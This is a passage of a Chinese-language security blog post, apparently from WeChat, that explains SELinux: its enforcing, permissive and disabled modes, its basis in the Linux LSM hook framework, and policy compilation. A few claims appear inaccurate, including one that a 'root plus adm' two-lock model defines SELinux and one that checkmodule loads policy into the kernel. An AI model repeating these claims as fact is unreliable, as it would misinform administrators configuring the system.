!important;">为了降低这一安全风险，Linux系统引入了SELinux安全控制策略。SELinux控制策略的核心思想，相当于给系统设置了2把锁，除了root权限用户之外，还引入了管理员adm用户，而且这两个用户的权限各不相同，甚至存在相互制约，攻击者必须同时获取两把钥匙才能取得权限，这极大降低了暴露的攻击面和被攻击的可能。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">SELinux安全策略把权限细化到访问的目录或具体的文件，这意味着每个Linux系统运行的程序只能访问事先被允许的文件，访问其他的文件就会出现访问受限或者报错。如果权限控制策略写的非常仔细，或在产品的二进制中执行RCE shellcode，最终也只能访问一些无关的不重要信息。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">SELinux的引入降低了系统被攻击和控制的风险，但同时导致Linux系统在使用上更复杂，因此，这些策略更适用于布置在已经调试好的机器。但SELinux也是历史上最杰出的安全子系统，其中的模块实现细节和安全思想也被多数安全产品借鉴，二次开发出安全产品和引入到其他的类linux系统中。</span></p><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-indent: 0em;white-space: normal;background-color: rgb(255, 255, 255);line-height: 25.5px;text-align: left;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 15px;letter-spacing: 0.544px;orphans: 4;text-indent: 0em;white-space: pre-wrap;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">本文将详细介绍其中的实现思想，并对控制策略细节进行分析。</span></p><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">策略细节分析</span></h2><h3 style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">1. 策略3种状态</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h3><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">在Linux安全操作系统上，SELinux的安全策略状态有三种：</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Enforcing（强制模式）：表示SELinux正在运行，所设置的所有安全策略都被启用，所有与SELinux安全策略相关的服务和程序被策略限制。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Permissive（宽容模式）：表示SELinux运行，所设置的所有安全策略都被启用，所有涉及到的安全策略相关的服务和程序不会被策略限制，程序不会受到限制，但是会有日志记录。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">Disabled（关闭）：SELinux安全策略被关闭。</span></p><h3 style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">2. 实现细节</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h3><p style="text-align: center;"><img class="rich_pages wxw-img" data-backh="296" data-backw="578" data-galleryid="" data-ratio="0.5127748068924539" data-s="300,640" style="width: 100%;height: auto;" data-type="png" data-w="1683" src="https://wechat2rss.xlab.app/img-proxy/?k=d39a23fb&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRD8nqJibPs0HZFRIHl2lnicFTbq6wt5KnooS7feXS6r0NFcaCZpxLSqFIicSFQwUXgfUkLYqbQGoY8w%2F640%3Fwx_fmt%3Dpng"/></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">SELinux的框架实现的思想是通Linux内核模块的LSM框架进行实现的，LSM框架的思想允许安全模块.ko类型的文件以插件的方式进入内核，以便更严格地控制基于身份的任意访问安全性。LSM框架开发了一套系统的钩子函数接口，可以对Linux系统的文件进行复制、移动及修改，网络行为监控、IP、端口都对应了其中的配置规则，SELinux作为一个LSM的内核模块加载到内核中，在允许之前进行额外的访问确认，安全服务器就是对访问的规则进行策略判断，这些策略通过用户空间的策略管理接口配置到系统中，SELinux策略通过内核的LSM框架为基础去实现，LSM提供内核消息钩子函数去捕获操作系统的各种操作消息，在此基础上，SELinux自己在内核中实现了策略管理器，通过不同的策略与传递过来的消息进行对比，以此判断放行或阻断。</span></p><h3 style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">3. 配置文件说明</span></strong><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"></span></h3><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">上述了策略的配置，管理员账户可通过用户态提供策略的接口去配置策略，策略文件是为策略源文件作说明的，policy.conf策略的具体组成包括：类别和许可、类型强制声明（类型、TE规则、角色和用户）、约束、资源标记说明。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">其应用于管理编写特定规则下的文件，例如policy.conf，通过策略编译器checkpolicy去编译、生成policy.xx的二进制文件，同时策略编译器在编译规则时会检测语法是否正确，错误的规则语法会判断编译不通过，之后编译文件的策略二进制通过checkmodule命令去载入到内核中，规则开始生效。</span></p><p style="text-align: center;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.8398398398398398" data-s="300,640" style="" data-type="png" data-w="1998" src="https://wechat2rss.xlab.app/img-proxy/?k=be0d72a8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F0NpbNYDUplRD8nqJibPs0HZFRIHl2lnicFIiaGSXTdEfHKcjAE77wpMv7fzY8PomSZ5L1NQWib3B7M7Rvyh8sIrfmw%2F640%3Fwx_fmt%3Dpng"/><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;background-color: rgb(255, 255, 255);color: rgb(34, 34, 34);font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;orphans: 4;white-space: pre-wrap;"></span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">具体的规则配置官方手册：</span></p><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 32px;overflow-wrap: break-word !important;"><span style="outline: 0px;max-width: 100%;font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;"><a href="https://opensource.com/business/13/11/selinux-policy-guide" target="_blank">https://opensource.com/business/13/11/selinux-policy-guide</a></span></section><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">适用场景及优缺点</span></h2><section style="margin-top: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;margin-bottom: 32px;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">SELinux安全控制策略作为Linux子系统中的安全防护环节，具有安全可靠、权限细化等特点。</span><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">由于开启SELinux策略的Linux系统，会对所有操作进行审计和规则检测，如果规则中没有给浏览器对应的端口访问权限和特定的文件执行，访问就会失败，因此，SELinux策略更适用于安全产品配置到Linux系统中的一体化硬件设备中去开启，也能更大程度发挥出安全策略的优势。</span></section><h2 cid="n0" mdtype="heading" style="margin-top: 1rem;margin-bottom: 1rem;font-weight: bold;text-indent: 0em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);break-after: avoid-page;break-inside: avoid;orphans: 4;line-height: 1.225;cursor: text;border-bottom: 1px solid rgb(238, 238, 238);white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;text-align: start;visibility: visible;overflow-wrap: break-word !important;"><span msthash="272077" msttexthash="7714590" style="outline: 0px;max-width: 100%;font-size: 17px;visibility: visible;box-sizing: border-box !important;overflow-wrap: break-word !important;">总结</span></h2><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;">SELinux安全控制策略是安全体系中端点安全防护中的一环，其主要采用权限分类和认证的策略，使未经过认证的程序无法被执行，防止操作系统被入侵后陌生程序执行恶意程序和木马，Android的权限访问控制策略也借鉴了其中的安全思想。总的来说，SELinux的安全控制策略拥有优秀的安全控制框架，允许自定义适合自身系统的安全策略，增强Linux的系统安全，防御未知攻击。</span></p><p style="margin-top: 0.8em;margin-bottom: 0.8em;outline: 0px;max-width: 100%;box-sizing: border-box;color: rgb(34, 34, 34);letter-spacing: 0.544px;background-color: rgb(255, 255, 255);line-height: inherit;orphans: 4;white-space: pre-wrap;font-family: &#34;Open Sans&#34;, &#34;Clear Sans&#34;, &#34;Helvetica Neue&#34;, Helvetica, Arial, &#34;Segoe UI Emoji&#34;, sans-serif;font-size: 16px;visibility: visible;overflow-wrap: break-word !important;"><span style="font-size: 15px;letter-spacing: 0.544px;text-align: left;text-indent: 0em;"><br/></span></p><section style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);letter-spacing: 0.544px;white-space: normal;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;background-color: rgb(255, 255, 255);font-size: 16px;widows: 1;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;width: 677px;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" style="outline: 0px;max-width: 100%;display: flex;justify-content: center;align-items: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=d6229ea8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FasLg7via5ibAkf1mRkpS4IuZibZE5eeC0t8nibIZBfZEekibOEZVWyf9jHzIVvT2sTzKS1OtZzSBErxJUZXD1AwAAWw%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section data-mid="" mpa-from-tpl="t" style="padding-right: 4px;padding-left: 4px;outline: 0px;max-width: 100%;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><p data-mid="" msthash="2289326" msttexthash="12647050" style="padding-right: 16px;padding-left: 16px;outline: 0px;max-width: 100%;font-size: 14px;font-family: PingFangSC-Semibold, &#34;PingFang SC&#34;;font-weight: bold;color: rgb(27, 110, 201);line-height: 20px;border-bottom: 1px solid rgb(27, 110, 201);text-align: left;box-sizing: border-box !important;overflow-wrap: break-word !important;">往期回顾</p></section><section data-mid="" mpa-from-tpl="t" msthidden="1" style="outline: 0px;max-width: 100%;width: 6px;height: 6px;transform: translateX(-14px);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-ratio="1" data-type="png" data-w="12" style="outline: 0px;display: block;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 12px !important;" src="https://wechat2rss.xlab.app/img-proxy/?k=cb9bc775&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FicjDF5uGXY5ibE0P0Mtzns3KNb5hsCIKPfMIRultHDbmzgJcDaibI4wNKM6ZloyGRtRovyXtVdv3SuuVOcmA8gn8A%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section></section></section></section><h1 style="margin-bottom: 14px;outline: 0px;font-size: 22px;line-height: 1.4;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;text-align: center;white-space: normal;background-color: rgb(255, 255, 255);"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484915&amp;idx=1&amp;sn=82f13aaded590b6134c85928adb82888&amp;chksm=c0ddff82f7aa769489b6d69baa3a2b26bf659e36e0df7191226e029165b5824409e6c916c25c&amp;scene=21#wechat_redirect" textvalue="基于SBERT孪生网络的漏洞描述归一化" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2"><span style="font-size: 14px;">基于SBERT孪生网络的漏洞描述归一化</span></a></h1><h1 msthash="224770" msttexthash="89201775" style="margin-top: 8px;margin-bottom: 14px;font-size: 22px;white-space: normal;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484895&amp;idx=1&amp;sn=c290a519e5933467b9b980961e1eca55&amp;chksm=c0ddffaef7aa76b8f9e35758dde6783411df74c299361741f98eea6de9b6593861badf464274&amp;scene=21#wechat_redirect" textvalue="MiraclePtr UAF漏洞利用缓解技术介绍" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">MiraclePtr UAF漏洞利用缓解技术介绍</span></a></h1><h1 style="margin-top: 8px;margin-bottom: 14px;outline: 0px;font-size: 22px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;line-height: 1.4;text-align: center;background-color: rgb(255, 255, 255);box-sizing: border-box !important;overflow-wrap: break-word !important;"><a target="_blank" href="http://mp.weixin.qq.com/s?__biz=MzkwNzIxMDUyNg==&amp;mid=2247484877&amp;idx=1&amp;sn=5f3983c37feca13d90e6b4aab092bf07&amp;chksm=c0ddffbcf7aa76aa315236da9a4577337e3950c3ce512a1dfee67de39de083546b17a56aeb4e&amp;scene=21#wechat_redirect" textvalue="针对U盘文件的盗与防攻略" linktype="text" imgurl="" imgdata="null" data-itemshowtype="0" tab="innerlink" data-linktype="2" hasload="1" style="outline: 0px;-webkit-tap-highlight-color: rgba(0, 0, 0, 0);cursor: pointer;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="271973" msttexthash="110699719" style="outline: 0px;max-width: 100%;font-size: 14px;box-sizing: border-box !important;overflow-wrap: break-word !important;">针对U盘文件的盗与防攻略</span></a></h1><p style="outline: 0px;max-width: 100%;color: rgb(34, 34, 34);font-family: system-ui, -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;white-space: normal;background-color: rgb(255, 255, 255);text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><br style="outline: 0px;max-width: 100%;box-sizing: border-box !important;overflow-wrap: break-word !important;"/></p><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img" data-galleryid="" data-ratio="0.43333333333333335" data-s="300,640" style="outline: 0px;font-family: -apple-system, BlinkMacSystemFont, &#34;Helvetica Neue&#34;, &#34;PingFang SC&#34;, &#34;Hiragino Sans GB&#34;, &#34;Microsoft YaHei UI&#34;, &#34;Microsoft YaHei&#34;, Arial, sans-serif;letter-spacing: 0.544px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 194px !important;" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=9bdadcd1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7lCiaSMMkhia4WIkRNZHTwq8jJicy27jdbWa7ED26252RGmSPRE0rmHQsgZ6ZoichVyFNlvhLelZS09a194B9dyoAQ%2F640%3Fwx_fmt%3Dpng%26wxfrom%3D5%26wx_lazy%3D1%26wx_co%3D1"/></section><section style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;color: rgb(11, 121, 255);word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthash="438322" msttexthash="46068516" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);letter-spacing: 2px;box-sizing: border-box !important;overflow-wrap: break-word !important;">引领智能网络攻防科技</span></section><section msthidden="1" style="margin-top: 10px;margin-bottom: 10px;outline: 0px;max-width: 100%;color: rgb(34, 34, 34);white-space: normal;background-color: rgb(255, 255, 255);font-family: -webkit-standard;font-size: 16px;letter-spacing: 1.5px;widows: 1;word-break: break-all;text-align: center;box-sizing: border-box !important;overflow-wrap: break-word !important;"><span msthidden="1" style="outline: 0px;max-width: 100%;color: rgb(27, 110, 201);box-sizing: border-box !important;overflow-wrap: break-word !important;"><img class="rich_pages wxw-img __bg_gif" data-copyright="0" data-ratio="0.0734375" style="outline: 0px;display: initial;box-sizing: border-box !important;overflow-wrap: break-word !important;visibility: visible !important;width: 544px !important;" data-type="gif" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=530afaf0&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_gif%2FCD1iaLIMEhibPv9rc3gdLj3g6fiaAcCZqIicylIMVKlbvd5ic5usJ2oia9cTgavs6BwQpEEYbfglc82kCJ0Qic3OHMEaw%2F640%3Fwx_fmt%3Dgif%26wxfrom%3D5%26wx_lazy%3D1"/></span></section><section data-brushtype="text" style="margin: 15px 1em;outline: 0px;max-width: 100%;color: rgb(34, 34, 